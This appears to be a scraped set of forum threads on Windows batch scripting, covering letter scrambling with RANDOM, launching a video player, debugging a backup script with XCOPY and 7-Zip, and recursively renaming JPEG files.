Here is why I ask. He is using a Random generator to make a sequence that is not random. He wants a re-ordered sequence of the Alphabet. It is a table where are letters are present, but not in an obvious order. Such tables do not need the random generator. Such are used in some types of encryption methods. And it can be done in batch, but if anybody finds the code your method is no longer a secret.
Quote from: Geek-9pm on April 24, 2016, 10:54:03 PM
It would be nice if Zask could tell us why he wants to do this.
If it is just for the fun of doing a task in DOS the hard way, that is OK.
But if Zask needs a quick and effective solution to a piratical problem, he might say so.

Here is why I ask. He is using a Random generator to make a sequence that is not random. He wants a re-ordered sequence of the Alphabet. It is a table where are letters are present, but not in an obvious order. Such tables do not need the random generator. Such are used in some types of encryption methods. And it can be done in batch, but if anybody finds the code your method is no longer a secret.

I understand that, and yes you are correct, i do prefer doing things in dos the hard way, that's just the type of person i am. I don't really care if other people find my code because i just program batch for a hobbie and i do this to learn, when i am not programming in dos i am usually learning other programming language at school, and that's where i usually ask questions on my work. But when I program batch the internet is where i come to learn. There really isn't much reason to why i needed the random alphanumeric code, but one reason is because when "a" is assigned to "1", and "b" to "2", "c" to "3", and so forth. it would be to obvious.
I just wanted it assigned to a random alphabet so that "a" could be "5", or "z" could be "12". And also because i wanted the sequence to change each time. It doesn't necessarily make the code anymore harder
to decipher but it does give some people with less knowledge less more time to reverse the code (Not much though). But do acknowledge that a lot of the help i get from you guys is very much appreciated.

So do you know a way that i can make it possible to get the variables to work? I cant currently get my head wrapped around this. They display what appears textualized, but they don't actually work.Simple number sequnces.
https://www.mathsisfun.com/numberpatterns.html
This can be one way of making a unusual sequence. But you can also do it by hand and get good results. The idea is a foundation on which to build. You can add complexity to it later.
Partial example: (only 8 items to SHOW the idea.)
Code: [Select]1 2 3 4 5 6 7 8 < order
A B C D E F G H
5 2 7 4 1 6 3 8 < scramble
In this group on 8 items are shown. The index is 5. Only two items are m is not scambled. This does not matter, the set is still hard to guess.
No,this is not MS-DOS code, but ut shows the value of having some kind on idea or conceptin mind. This modloe does not need the random funtion. But requires aknowledge of number sequences. using this, yu can hand code tables of numbers.
What I am sayhing is that you need to do more "top down" thinking before you code. Have some notes and examples of what yu can do by hand and then think about making code for it.
Quote from: Geek-9pm on April 25, 2016, 05:49:54 PM
Simple number sequnces.
https://www.mathsisfun.com/numberpatterns.html
This can be one way of making a unusual sequence. But you can also do it by hand and get good results. The idea is a foundation on which to build. You can add complexity to it later.
Partial example: (only 8 items to show the idea.)
Code: [Select]1 2 3 4 5 6 7 8 < order
A B C D E F G H
5 2 7 4 1 6 3 8 < scramble

Thank you that is helpful, but the problem isnt scrambling the code pattern, although yall did help me fix a problem that i was currently having. the problem now is that when i try to decrpyt the code, when i use variables like "%var%", they display as actual text instead of what the variable is suppose to display and when i encrypt the code, i use the "!" sign in "!var!", but they wont send out to the "!" sign to the encrypted text file because the max setlocal recursion is reached.
5788.

Solve : I want to write a batch file to play a particular video file?

Answer»

I want to write a batch file to PLAY a video file . Suppose I have a video clip in some location in my PC. I want to write a batch file so that when I click on the batch file icon, the required player will open and start automatically
that particular video file. For example my video file is ABC.flv. I want to write
a batch file so that when I click on the batch file icon , flv player will start
playing the ABC.flv.

THANKS FROM
devduttaIf you have the file type associated with a player just put the file path and name (in quotes if there are any spaces)

Code: [Select]"C:\My Videos\abc.flv"


Please see the video file is not associated with the player.
What I mean is that the player ,for example flv player, SUPPORTS that format.
Please give the general format of the BATCH FILE.
THANKS
devduttaQuote from: devduttaa on March 29, 2009, 12:12:48 PM

Please see the video file is not associated with the player.
What I mean is that the player ,for example flv player, supports that format.
Please give the general format of the BATCH FILE.
THANKS
devdutta

Then associate it!

In Windows explorer, right click the file, choose "open with..." choose "choose PROGRAM", choose "browse", find the program exe file, click OK, then CHECK "Always use the selected program".

However, if you can't, or don't want to,

start "" "Program" "video file"

Code: [Select]start "" "C:\Program Files\FLV Player\flvplayer.exe" "C:\My Videos\abc.flv"Quote from: Dias de verano on March 29, 2009, 12:16:43 PM
Then associate it!

In Windows explorer, right click the file, choose "open with..." choose "choose program", choose "browse", find the program exe file, click OK, then check "Always use the selected program".

However, if you can't, or don't want to,

start "" "Program" "video file"

Code: [Select]start "" "C:\Program Files\FLV Player\flvplayer.exe" "C:\My Videos\abc.flv"

and what if i want to play this video at a specific time??This thread is 7 years old - make a new one and describe what you need to do.
5789.

Solve : Batch Function Not Copying Properly?

Answer»

Code: [Select]REM Capture the date/time(right down to the second) and then assign it to a variable
set yy=%date:~-4%
set DD=%date:~-7,2%
set mm=%date:~-10,2%
set newdate=%dd%%mm%%yy%_%Time:~0,8%
set newdate=%newdate::=%
SET foldername="syrena_backup_%newdate%"

SET drive=T:

REM Source directories
SET documents=%drive%\Documents

REM Destination directories
SET destinationDocuments=%backupDir%\Documents

call:makedirandcopy %documents% %destinationDocuments%

:makedirandcopy
ECHO Making and Copying %~2 Directory
MKDIR %~2
XCOPY %~1 %~2 /E /F
I have the following batch file on my desktop, when I run the batch file, it supposed to make a directory on my destination drive and copy all the documents, however, it makes the directory, and the documents subdirectory, but on my desktop, where the batch file RESIDES, and never copies the files in Documents. The file name is also incorrect, it just assigns the time to the directory instead of the date_time.

Code: [Select]Passing T:\Documents "T:\Backup"\"syrena_backup_23022016_ 91300"\Documents
Making and Copying T:\Backup"\"syrena_backup_23022016_ 91300"\Documents Directory
Making and Copying Directory
0 File(s) copied
If I were to do all of this without the label it worksThe code you have shown and the screen output do not match.


Quote from: Syrena on February 23, 2016, 07:55:46 AM

Code: [Select]REM Capture the date/time(right down to the second) and then assign it to a variable
set yy=%date:~-4%
set dd=%date:~-7,2%
set mm=%date:~-10,2%
set newdate=%dd%%mm%%yy%_%Time:~0,8%
set newdate=%newdate::=%
SET foldername="syrena_backup_%newdate%"

SET drive=T:

REM Source directories
SET documents=%drive%\Documents

REM Destination directories
SET destinationDocuments=%backupDir%\Documents

call:makedirandcopy %documents% %destinationDocuments%

:makedirandcopy
ECHO Making and Copying %~2 Directory
MKDIR %~2
XCOPY %~1 %~2 /E /F

Code: [Select]Passing T:\Documents "T:\Backup"\"syrena_backup_23022016_ 91300"\Documents
Making and Copying T:\Backup"\"syrena_backup_23022016_ 91300"\Documents Directory
Making and Copying Directory
0 File(s) copied

Terribly Sorry, but could you elaborate? Are you talking about this line:

Code: [Select]Passing T:\Documents "T:\Backup"\"svetlana_backup_23022016_ 91300"\DocumentsI'm talking about these lines. There are elements there that cannot be produced with the code you have shown.
There's no point helping anyone with programming when the code they show isn't giving the RESULTS they say it is giving.

Code: [Select]Passing T:\Documents "T:\Backup"\"syrena_backup_23022016_ 91300"\Documents
Making and Copying T:\Backup"\"syrena_backup_23022016_ 91300"\Documents Directory
Making and Copying Directory
0 File(s) copied .From the first post you say it is soaking on your desktop. If so, then it is working. Just you don't like it to work that way.
Windows, like other OS can do path names at leat two ways.
1 Absolute path name.
2. Relative path name.

Quote
An absolute pathname, also referred to as an absolute path or a full path, is the location of a filesystem object (i.e., file, directory or link) relative to the root directo

If an absolute name is not given , the default is a relative path name.

Quote
. The relative pathnames are opposite to absolute pathname. A reative pathname does not begin with a slash ( / ). Generally you specifies location relative to your current working directory. This is most USEFUL to short a path name

The above is for Linux. For Windows use the \ instead.

I managed to fix it, here is the code if anyone is interested:

Code: [Select]@ECHO OFF

REM Start Backup
TITLE Backup

REM Capture the date/time(right down to the second) and then assign it to a variable
set yy=%date:~-4%
set dd=%date:~-7,2%
set mm=%date:~-10,2%
set newdate=%dd%%mm%%yy%_%Time:~0,8%
set newdate=%newdate::=%
SET foldername="syrena_backup_%newdate%"

REM Variables
SET drive=T:
SET sevenZip=%USERPROFILE%\7z.exe

REM Source
SET documents=%drive%\Documents

REM Destination Directory
SET destination="%drive%\Backup"
SET backupDir=%destination%\%foldername%
SET destinationDocuments=%backupDir%\Documents

ECHO Welcome %USERNAME%

ECHO Please Plug in %drive% Drive and Disconnect the Internet.
pause

IF EXIST %destination% (

MKDIR %backupDir%

call :makedirandcopy "%documents:"=%" "%destinationDocuments:"=%"

DIR /S /B %backupDir% > %backupDir%\%foldername%.txt

echo Creating Zip file of %backupDir%
%sevenZip% a -tzip %backupDir%.zip %backupDir%\*

RMDIR /Q /S %destination%\%foldername%
pause
goto :EOF

) ELSE (

ECHO Error Finding Destination Drive! Aborting
pause
goto :EOF

)

:makedirandcopy
ECHO Making %~2 Directory
MKDIR "%~2"

ECHO Copying %~1 Directory
XCOPY "%~1" "%~2" /E /F
The goto:EOF was needed, because without it, makedirandcopy would execute without parameters. I also needed to properly quote my variables when passing them to the function.
5790.

Solve : date and time batch?

Answer»

please, HELP me about DISABLE change option of date and time by batch fileQuestion is not clear. Do you want to disable (changing date and time) using a batch file, or disable changing date and time (using a batch file)? Also what OS?
QUOTE from: Salmon Trout on April 23, 2016, 02:11:52 AM

Question is not clear. Do you want to disable (changing date and time) using a batch file, or disable changing date and time (using a batch file)? Also what OS?
I want disable changing date and time using a batch file on windows 7 64bitThe fellow was here and doesn't show much interest in providing INFORMATION, or replying.

http://www.dostips.com/forum/viewtopic.php?f=3&t=7102
5791.

Solve : Need help with my script?

Answer»

So, I want to create a script that integrates a lot of commands in my computer into one. The problem is that part of my script, which is for running batch games I made is not working. I am somewhat familiar with batch, so can ANYONE help? (This is the script with the trouble)
@echo off
:games
cls
if EXIST New Text Document.bat goto ffound
if EXIST Save test.bat goto ffound
echo No games found.
ping -n 4 >nul
goto games

:ffound
cls
if EXIST New Text Document.bat echo 1.Fallout
if Exist Save test.bat echo 2.Save test
set /P gamec=
if %gamec%==1 start New Text Document.bat
if %gamec%==2 start Save test.bat
goto ffoundNever mind. Found solution to script.
:gamec
cls
echo Choose a game to start:
echo 1.game
echo 2.Save Test
set /p run=
if %run%==1 goto game
if %run%==2 goto game
goto menu

:fallout
start C:\Users\user\Desktop\NewTextDocument.bat
goto menu

:savetest
start C:\Users\user\Desktop\Savetest.bat
goto menuFile NAMES with spaces need to be quoted.You're evil Squashman!

Now he's going to tear out his hair figuring out why the start command doesn't work! No need. Found out the correct script 20 minutes after posting.Quote from: MrCrazyheat on April 19, 2016, 07:40:21 PM

No need. Found out the correct script 20 minutes after posting.
I was pointing out the problems with your original code.Drive-by scripter...
5792.

Solve : Running two bat files ??

Answer»

I have a outlook backup program that backs up all the mail and offers a way to enter a POST Backup CMD

The program runs great and if I add a script (bat file) in the post back up CMD area, it will also run perfectly separately


BUT


I have two (2) scripts (.bat files) I would like to run, ONE after the other,,, but NOT sure how to join them..

I included the 2 scripts here if someone can help me?

bat file one: (backup_additional_settings.bat)

Code: [SELECT]@ECHO OFF
rem set backup folder here
pushd \\FILESERVER\OUTLOOK\CD-OPTI9020

setlocal EnableDelayedExpansion

rem backup signatures
copy "%APPDATA%\Microsoft\Signatures\*" *

rem backup registry settings
rem uncomment for outlook 2010
rem regedit /e outlook_settings_backup.reg "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles"

rem uncomment for outlook 2013
rem regedit /e outlook_settings_backup.reg "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles"

rem uncomment for outlook 2016
rem regedit /e outlook_settings_backup.reg "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles"



endlocal


and here is the second bat file: (keep_n_backups.bat)

Code: [Select]@echo off
setlocal enableextensions enabledelayedexpansion

rem set max no of backups to keep and backup folder
set MAX_BACKUP=5
pushd \\FILESERVER\OUTLOOK\CD-OPTI9020


set rev=0

rem read LAST revision no
if exist revision.txt (
for /f "delims=" %%a in (revision.txt) do (
set rev=%%a
)
)
Set /A rev=!rev!+1
Set /A rev=!rev! %% !MAX_BACKUP!

rem find pst-file and rename
FOR /F "delims=" %%I IN ('DIR *.pst *.ost /B') DO (
set x=%%I
if exist "!x:~0,-4!_!rev!.bak" del "!x:~0,-4!_!rev!.bak"
ren "!x!" "!x:~0,-4!_!rev!.bak"
)

echo !rev! > revision.txt


endlocal



any help would be GREAT !

Never mind I figured it out..Thanks

Excellent.Your first batch file literally only has two lines of relevant code. How hard could that be to put into the second batch file.

Your second batch file you have a few INSTANCES when you are using delayed expansion when you don't even need to use it.Good you figured it out, note that there are two ways you can do this

starting the second script right before exit

@echo off
echo file1.bat
pause
start file2.bat
exit

or calling the second script

@echo off
echo file1.bat
pause
CALL file2.bat
pause
exit

5793.

Solve : How does one create a batch script that will run under unicode format??

Answer»

okay before i explain anything i just want to say that this is not what im talking about.

@echo off
echo ÉÍËÍ» ÚÄÂÄ¿ ÖÄÒÄ· ÕÍÑ͸
echo º º º ³ ³ ³ º º º ³ ³ ³
echo ÌÍÎ͹ ÃÄÅÄ´ ÇÄ×Ķ ÆÍØÍµ
echo º º º ³ ³ ³ º º º ³ ³ ³
echo ÈÍÊͼ ÀÄÁÄÙ ÓÄÐĽ ÔÍÏ;

it is unicode but the batch file is saved in ANSI format.
im trying to find out how to make it execute properly in unicode format.

i found a program online that CONVERTS regular batch code into complete Unicode, while at the same time can be saved as unicode format as well as execute properly as an batch file.

here is an example

਍汣൳䀊捥潨漠晦਍楴汴⁥湵捩摯൥挊汯牯〠ൡ琊浩潥瑵⼠⁴″港扯敲歡਍捥潨吠楨⁳獩愠甠楮潣敤戠瑡档映汩൥瀊畡敳ഠ攊档湡⁹潣浭湡⁤慣敢洠摡⁥湵敲摡汢⁥湩琠硥⁴摥瑩牯⹳਍慰獵൥

copy and paste the above code in notepad (or WHATEVER) and right before you save a name and EXTENSION to the file look below to find and enable the Unicode option or else it will not work.

okay if you have done everything right, it should have posted some green text stating "This is a unicode batch file", "any command can be made unreadable in text editors." any my question is does anyone know how to do this or any information on where i can find out how this works because ive looked everywhere on the internet and no hope has yet to come.thanksThere ya go talkin to yourself again...1. Prepend normal text/batch file with "ÿþ"

2. Close and re-OPEN the file.

It's not ACTUALLY unicode, the only difference is that the byte characters FF FE are a "BOM" or Byte Order Mark. At the start of text file it means the file is unicode and what order the bytes should be expected in. If you open a file starting with a BOM, the editor will figure it's Unicode- so Notepad, and most other text editors, will open your file as if it was.

Command prompt doesn't care about unicode and treats the BOM as whitespace when it interprets it.

Quote from: BC_Programmer on February 24, 2016, 05:06:29 PM

1. Prepend normal text/batch file with "ÿþ"

2. Close and re-open the file.

It's not actually unicode, the only difference is that the byte characters FF FE are a "BOM" or Byte Order Mark. At the start of text file it means the file is unicode and what order the bytes should be expected in. If you open a file starting with a BOM, the editor will figure it's Unicode- so Notepad, and most other text editors, will open your file as if it was.

Command prompt doesn't care about unicode and treats the BOM as whitespace when it interprets it.

Thank you, ill keep that in mind.
5794.

Solve : Change variable for each loop?

Answer»

Okay im trying to basically display text from a text file inside the batch file using a trick i found on the internet.
I've notice a few problems though, one is that i need a variable that can change for each loop that the variable is in. here is my code.

@ECHO OFF

REM Make text file
Echo %~DP0%~N0%~X0 >> %TEMP%\Somefile.Zask

REM search for all lines in that file and APPEND them to variables in this file

Setlocal EnableExtensions EnableDelayedExpansion
for /f "delims=" %%A in (%TEMP%\Somefile.zask) do (
Set /a C+=1
Set X[!C!]=%%A
)
Set X
echo !C!
pause
set /a Y=1

REM go into a loop once for each LINE in the text file and then echo each line

:loop
if %Y% lss !C! (

REM here is the problem, i need to make a variable that will change each time the user goes through a loop.
REM for example "%x[%Y%]%" would display this each loop ; %x[1]%, %x[2]%, %x[3]%, %x[4]% ~so on, REM but i just don't know how to do it.

echo %x[%Y%]%


pause>nul
set /a Y+=1
goto :loop
)

echo end of loop
pauseGoogle for, or search alt.msdos.batch.nt on (Google Groups) for "call set".
Quote from: Salmon Trout on April 13, 2016, 02:14:45 PM

Google for, or search alt.msdos.batch.nt on (Google Groups) for "call set".

Okay thank for the help, but i found a solution, was trying to do something like this.

@ECHO Off
echo encrypt batch file
echo.
set /P "FILE= Enter the name of the batch file that you wish to encrypt (Example; "Somefile") : "
set /A CREATEKEY=%RANDOM% %%200 +2

Setlocal EnableExtensions EnableDelayedExpansion
for /f "delims=" %%A in (%FILE%.txt) do (
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789bhfcjrwmudaxopvntzlqeisykg

for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (

set "CHECKPASSWORD=!CHECKPASSWORD:%%D=-%%E!"
)
)
)

echo !CHECKPASSWORD! >> %FILE%.Zask
)
Set X

Setlocal DisableExtensions DisableDelayedExpansion

echo @ECHO Off >> Decrypt.bat
echo. >> Decrypt.bat
echo Setlocal EnableExtensions EnableDelayedExpansion >> Decrypt.bat
echo for /f "delims=" %%%%A in (%FILE%.zask) do ( >> Decrypt.bat
echo Set /a C+=1 >> Decrypt.bat
echo Set X[!C!]=%%%%A >> Decrypt.bat
echo set CHECKPASSWORD=%%%%A >> Decrypt.bat
echo set CHECKKEY=%%%%B >> Decrypt.bat
echo set CHAR=0123456789bhfcjrwmudaxopvntzlqeisykg >> Decrypt.bat
echo. >> Decrypt.bat
echo for /l %%%%C in (10 1 36) do ( >> Decrypt.bat
echo for /f %%%%D in ("!CHAR:~%%%%C,1!") do ( >> Decrypt.bat
echo set /a MATH=%%%%C*%CREATEKEY% >> Decrypt.bat
echo for /f %%%%E in ("!MATH!") do ( >> Decrypt.bat
echo. >> Decrypt.bat
echo set "CHECKPASSWORD=!CHECKPASSWORD:%%%%E=%%%%D!" >> Decrypt.bat
echo ) >> Decrypt.bat
echo ) >> Decrypt.bat
echo ) >> Decrypt.bat
echo for /f %%%%F in ("!CHECKPASSWORD!") do ( >> Decrypt.bat
echo set "CHECKPASSWORD=!CHECKPASSWORD:-=!" >> Decrypt.bat
echo !CHECKPASSWORD! >> Decrypt.bat
echo ) >> Decrypt.bat
echo ) >> Decrypt.bat
echo Set X >> Decrypt.bat

Kinda lame just BORED though.

5795.

Solve : CMD Window Closing Before Batch Finishes Operations?

Answer»

I have a batch file that is doing a lot of work inside a folder. It is creating files, deleting folders, renaming files and folders, moving files and folders, ETC... It currently performs about 50 different operations. The problem I am having is that the command window closes, as if it were finished, but the operations it has set in motion CONTINUE to happen in WINDOWS Explorer for the next 5 to 10 seconds. I'm never sure when it is done.

Is there any way that I can keep the window open until all of the operations have finished?use wait before the commandSo it should look like this?
Code: [Select]wait mkdir CM1
wait type NUL &GT; CM1\EmptyFile1.crop.jpg
Because it returns this:
Quote

F:\-- Test Directory\New Folder>wait mkdir CM1
'wait' is not recognized as an internal or external command, operable program or batch file.

F:\-- Test Directory\New Folder>wait type NUL 1>CM1\EmptyFile1.crop.jpg
The system cannot find the path specified.
Quote from: erobby on April 13, 2016, 01:27:31 PM
use wait before the command
There is no WAIT command. Maybe you meant to say use the START command with the WAIT option.New Problem
Alright, so "START /WAIT test.bat" opens a new command window with the command processor run with the /K switch to cmd.exe. But this window is just a new command window. If I have to start test.bat by typing its name in again, the point of an automated process is lost.

Questions
  • Is there anyway to launch test.bat with the /K switch to cmd.exe already enabled?
  • Or is there a way to use "START /WAIT test.bat" but have it pass on the command to start the batch in the new window that pops up?
UPDATE
I was testing this with a smaller bat file, just trying to make sure I knew what I was doing before I ran the big batch file that exhibits the problematic behavior. Even using the WAIT command, the window exits like normal and Windows Explorer continues to show activity for 5 to 10 seconds afterwards. If I don't use the EXIT command at the end of the batch file, the window stays open forever, which I don't want. I just want it to stick around until all the operations the batch has set in motion have completed.

Write operations to a drive are typically cached. Windows determines when to perform the write operations most effectively on it's own. For example, internally, command prompts copy command likely uses the appropriate functions to read and write files. The important consideration is that those functions will typically return to the caller before the operation has completed- that is, if you write some data to disk, the function may return before that data has been written to the disk- instead it will be written the next time Windows decides to flush it's write cache for the drive.

You might be able to workaround this by using the /V switch on the copy command, although this will only apply to the copy commandQuote from: BC_Programmer on April 13, 2016, 02:51:36 PM
Write operations to a drive are typically cached. Windows determines when to perform the write operations most effectively on it's own. For example, internally, command prompts copy command likely uses the appropriate functions to read and write files. The important consideration is that those functions will typically return to the caller before the operation has completed- that is, if you write some data to disk, the function may return before that data has been written to the disk- instead it will be written the next time Windows decides to flush it's write cache for the drive.
This makes perfect sense. In this case then, a TIMEOUT will suffice. Thank you Quote from: Mulsiphix on April 13, 2016, 02:23:29 PM
and Windows Explorer continues to show activity for 5 to 10 seconds afterwards

Some points I can clarify:

1) Adding the "" after the start command as a matter of course will stop it biting you when the command is double quoted.
start "c:\File Utilities\give me money.exe" WOULD fail without a leading "" and just open a cmd window without doing anything.

Code: [Select]start ""

2) Adding the /B switch to the start command reuses the same console window.
See start /? for extra details.


3) Using the call command works for batch files without using start.

Exactly what is happening in your code is in the same realm as knowing next weeks winning Tattslotto numbers, and batch scripts could be what you are using.



3) Windows Explorer is also multi-threaded and will do it's own merry thing in some instances.
Quote from: foxidrive on April 13, 2016, 08:32:41 PM

Exactly what is happening in your code is in the same realm as knowing next weeks winning Tattslotto numbers, and batch scripts could be what you are using.

BINGO!
Why people seem to think we can troubleshoot their code without showing us their code is being any logical reason in my small world.Quote from: foxidrive on April 13, 2016, 08:32:41 PM
1) Adding the "" after the start command as a matter of course will stop it biting you when the command is double quoted.
start "c:\File Utilities\give me money.exe" would fail without a leading "" and just open a cmd window without doing anything.
I figured this one out after I posted. I swear, some of the things that slip by .

Quote from: foxidrive on April 13, 2016, 08:32:41 PM
2) Adding the /B switch to the start command reuses the same console window.
See start /? for extra details.
3) Using the call command works for batch files without using start.
I didn't know about either of these. Thank you

Quote from: Squashman on April 13, 2016, 08:51:17 PM
BINGO!
Why people seem to think we can troubleshoot their code without showing us their code is being any logical reason in my small world.
Point made! I'll remember this for the future
5796.

Solve : REN reports duplicate or file not found. But that isn't true.?

Answer»

I have tried to delete the FOLDER in question and recreate it. I have tried manually renaming it. For whatever reason, I cannot rename it using the command line. Any ideas?

Quote from: Mulsiphix on April 13, 2016, 02:08:31 PM

I cannot rename a folder to con.

Turns out it is a Windows reserved name. One of a handful that cannot be used . SORRY about the double post. I thought I was editing the above post Quote from: Mulsiphix on April 13, 2016, 04:29:59 PM
Turns out it is a Windows reserved name.

Yeah, an appropriate error MESSAGE would be a useful THING from Windows.
5797.

Solve : MAJOR PROBLEM WITH MY WONDERFUL OLD DOS PROGRAMS?

Answer»

I have had to reinstall Money Manager Business Edition version 4. The original installation disk is a floppy and needs me to operate my Windows 98 computer in ms.dos mode. The installation is very quick, and needs only A:INSTALL to be type after the C prompt. That C prompt shows as follows:-

C:\WINDOWS>

So the entry becomes;-

C\WINDOWS> A:INSTALL

The installation installs the program on drive C: in a directory called C:\MONEY. I have checked that this is the case.

At the end of the installation I am told to simply type MONEY at the DOS prompt, and NOT to add C:\MONEY to my path.

But, as soon as I do this, or immedately after, the DOS freezes, or up comes ECHO OFF. I cannot move on, and have to force the DOS to close and then try all over again. I am getting nowhere, and do not understand why the procedure which used to work fine no longer does. What has gone wrong, and with what? Do I need to reinstall the Windows?Is the command prompt at C: ? ?
It MIGHT still be at A: if you didn't remove the floppy...

The fact that it doesn't want a path typed means the app loader is likely in the root folder of C:...




Yes, the command prompt is at C and the floppy is out.There is a file called MONEY BAT in the C directory.
Copy and PASTE the bat file here...
Also see where the Money directory was created to.Sorry, I don't know how to copy and paste the bat file. The MONEY directory is in drive C. The problem I am having is so complex and difficult (it may betoken a serious fault in either the computer or the OS) that I really need someone to come and see the problems I am having.
How did you find the Money path ? ?
The bat file you could type out since you cannot copy/paste it...The Executable could be corrupted. Try reinstalling.

Since it's a floppy disk, it could be damaged. Do you have any copies of the disk you could use, or, if you are using a copy, any other copies?

The batch file in C:\ can be viewed with the edit command, eg. "EDIT MONEY.BAT" I expect that it effectively just launches the money program. The symptom you are seeing is that the program hangs. This tends to be caused by the executable itself being corrupt, but You mention RUNNING the install in MS-DOS mode. Are you running the program in MS-DOS mode as well? This:

Quote

and have to force the DOS to close

Makes it sound like you are running it within Windows from a DOS Window, where it could also merely hang.Thanks for all the advice. I am afraid I had been uwittingley leading you, as well as myself, "up the garden path". A bit more work enables me to define the situation as follows:-

1. Original installaton disk works fine, but possibility of running the program from the C prompt is extremely unreliable. Very occasionally it will start if the directory is change to C:\MONEY\ and the name of the program (money) typed in after the back slash. Normally, however the DOSCONTINUED FROM PREVIOUS ATTEMPT, WHICH WAS GRABBED OFF ME AND POSTED WHEN HARDLY STARTED!

1. Program installs fine, but hardly ever Not never) runs from the string attached to the C prompt as per program's instruction.

2. I remembered that the installation places the program files on a hard disk, if the computer has one (the program dates for 1987, and was a development of an even oldercontinued again!

PCW program.

3. The program comments referred to state that one of the files copied onto the local hard disk is MONEY.EXE. I viewed the contents of the MONEY folder in MY COMPUTER>DRIVE C of my 1999 W.98 machine. I found this file under the program icon and created a shortcut for the desktop. This was how things were before the mighty accident.

4. The shortcut works fine. The original data files load and run.

5. The only problem is that the program crashes and has to be....RE-INSTALLED via the DOS prompt.

The printer settings within the program are the same as previously and the printer is the same one. However, I cannot print! Whilst not perhaps 100% vital to be able to do so from a personal money management program, print-outs are sometimes extremely useful. So I am very bothered by both this fault and by the mayhem which is UNLEASHED if I do try to print.

Any ideas, please?!I've solved the crashing problem. A bit of lateral thinking when looking for something QUITE different me look at the default settings in the short-cut. It would seem that this was being triggered to close the program when I tried to print (using the keystroke which is the only way of printing in this program). Then altering the default spooling settings allowed the printer to work normally, instead of taking for ever to produce one blank sheet and then take so long to produce a printed sheet that it exceeded its (long) timeout setting and switched off.As it's a dos program, then a strategy is to install it under dos and then back it up.

When it fails in some way you can restore the files, and put your configuration files into the fresh copy.
Backup your configuration files regularly, and when they change.

JFTR The web site says this about V6 "nor will they operate under a Windows 7 64-bit environment"
5798.

Solve : Finding the Area of a Circle?

Answer»

Quote from: Salmon Trout on February 24, 2016, 01:50:06 PM

You could even put it somewhere on your PATH, set the default vbscript engine to Cscript, and call it by name:
And, of course, if you haven't already done so, set the default Cscript logo option to NOLOGO.
Python oneliner similar to eval.vbs:
Code: [Select]import sys; from math import *; print eval(sys.argv[1])
Use decimal point to avoid int results from integer values in Python 2.xx e.g. 3/2.0 (I believe Python 3 defaults to float?)

Examples

C:\&GT;eval.py 5/3
1

C:\>eval.py 5/3.0
1.66666666667

C:\>eval.py sqrt(3)
1.73205080757

C:\>eval.py pi
3.14159265359

C:\>eval.py e
2.71828182846
Quote from: DaveLembke on February 21, 2016, 12:39:43 PM
Scaling it down is one way to do this, but you will lose precision. Same as the 3.14 turning into 314 where you only have precision to 3.14xxxxxxxxxxx-> and no other digits to infinity.

You can scale it down to do the math and then in the end scale it back up to avoid exceeding 32 bit integer when the product of the equation itself will exceed 32 bit but the answer itself is smaller than 32-bit. With your equation you could bring it to 31 for 3.1, losing the hundreths precision, but it gets ugly fast when you reduce the precision. This use for greater than 32 bit is best for a real language intended for large numbers and precision. Something that batch isnt very good at alone.

This is something that is far more easier to accomplish with just about any language other than batch as well as you would have a greater depth of precision if you did this with a real programming language geared for mathematical equations such as I have a program I wrote that does CRYPTO shuffling and I was looking for poor keys that would shuffle back to their original characters for up to 1 Trillion Keys. It took an 8-core AMD FX-8350 at 4000Mhz a week to process all of these keys at 125 Billion Keys processed per core running full tilt. I had to use Long Long INT's to achieve this with C++.

In the end I added a routine that counts between 2 arrays matching pairs for each element and it avoids use of keys that exceed a specified allowance of matching INPUT and output characters. I can set it to 0 and Z will NEVER come back out as Z etc. or set it to 2 in which 2 characters can be same with rest shuffled etc. So the week of crunching was pretty much a waste but interesting as to how many combinations had 10 or more unshuffled characters which would make the output weak and potentially able to be decrypted too easily.

okay good to know, could i maybe borrow one of your C++ examples?Quote from: Salmon Trout on February 24, 2016, 01:50:06 PM
You don't have to delete it if you don't want to. It's only 45 bytes. (About 7 years ago I thought I had independently invented this!)
Code: [Select]Wscript.echo eval(WScript.Arguments(0))You could even put it somewhere on your PATH, set the default vbscript engine to Cscript, and call it by name:

C:\>type c:\batch\eval.vbs
Wscript.echo eval(WScript.Arguments(0))

C:\>dir c:\batch\eval.vbs
Volume in drive C is WIN-SSD1
Volume Serial Number is 9C5F-D658

Directory of c:\batch

11/03/2007 18:21 45 eval.vbs
1 File(s) 45 bytes
0 Dir(s) 34,618,871,808 bytes free

C:\>eval 2+1
3

C:\>eval now
24/02/2016 20:41:11

C:\>eval weekdayname(weekday(now))
Wednesday

C:\>eval 4*ATN(1)
3.14159265358979

C:\>for /f "delims=" %A in ('eval 35.333/2.277') do @set result=%A

c:\>echo %result%
15.5173473869126

C:\>eval weekdayname(weekday(now))
Wednesday



wow thats a very helpful peace of code, thank you.
5799.

Solve : Trouble With A Recursive Rename Batch File?

Answer»

I have a ton of files with names that end in *.crop.jpg and I would like to change crop to full. I have done a lot of searching and I read the Microsoft TechNet articles for REN and FOR, but I just can't get it. Is what I am trying to do impossible inside a batch file?

Trying
Code: [Select]for /r %%a in (*.crop.jpg) do ren "%%a" "*.full.jpg"
OR

Code: [Select]for /r %%I in (*.crop.jpg) do ren "%%I" "%%~nI.full.jpg"
Result
Grandma.crop.jpg ----> Grandma.crop.full.jpgWhen you say "recursive" do you mean you want to operate on every file in a folder, and every file in every subfolder under that folder?
Quote from: Salmon Trout on April 06, 2016, 01:04:44 PM

When you say "recursive" do you mean you want to operate on every file in a folder, and every file in every subfolder under that folder?

Yes Try this
Put it in the top folder and if it shows the right renames
change this line:
echo REN "!oldname!" "!newname!"
to this:
REN "!oldname!" "!newname!"

Perhaps best to try it on some TEST files before you let it loose on your real data (if you are sensible you make backups!)

Code: [Select]@echo off
setlocal enabledelayedexpansion
for /f %%A in ('dir /s /b *.full.jpg') do (
set folder=%%~dpA
set filename=%%~nA
set oldname=!folder!%%~nA.jpg
set newname=!filename:~0,-5!.crop.jpg
echo REN "!oldname!" "!newname!"
)
echo Finished
Pause
Example output

